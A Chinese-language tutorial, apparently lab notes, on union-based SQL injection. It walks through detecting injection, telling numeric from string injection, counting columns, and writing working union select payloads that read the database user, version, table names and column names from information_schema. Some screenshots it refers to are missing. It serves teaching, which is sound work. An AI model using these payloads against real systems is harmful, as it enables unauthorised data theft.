联合查询注入是联合两个表进行联合查询
1,判断是否存在sql注入:通常是id=XXX’输入,看页面是否会报错,如果有报错,则存在sql漏洞。(这是最简单的方法,其他的后面补充)
这是输入XXX的时候
当输入XXX'就会有以下反应
这样就证明了存在漏洞
2,判断注入类型
(1)数字型注入
当输入的参 x 为整型,Sql 语句类型大致如下:select * from <表名> where id = x这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:
在方框里输入 x and 1=1 页面依旧运行正常,继续进行下一步。
在方框里输入x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
这是因为假如是字符型的话,sql语句为select * from <表名> where id = 'x and 1=1' 没有反应
(2)字符型注入
当输入的参 x 为整型,Sql 语句类型大致如下:select * from <表名> where id = 'x'这样就要用X'and'1'='1和X'and'1'='2来判断了。
和上面同理
3,判断有多少个字段
通常是用XXX' order by 2--+语句
这样就证明了,这个库有两个字段数。
4,查询库里的信息
用 vince' union select 1,group_concat(user(),0x3a,database(),0x3a, version())#
这样就可以获得信息了
5,黑盒查询
-1' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)#
这里为什么要把vince换成-1这样可以避免这样
information_schema中有三个重要的东西,分别是table,column,schema
tables 表字段 TABLE_SCHEMA 、TABLE_NAME 分别记录着库名和表名
columns 存储该用户创建的所有数据库的库名、标名和字段名。
我们通过-1' union select 1,(select XXX_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)#
-1' union select 1,((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='XXX' limit 1))#
等来查询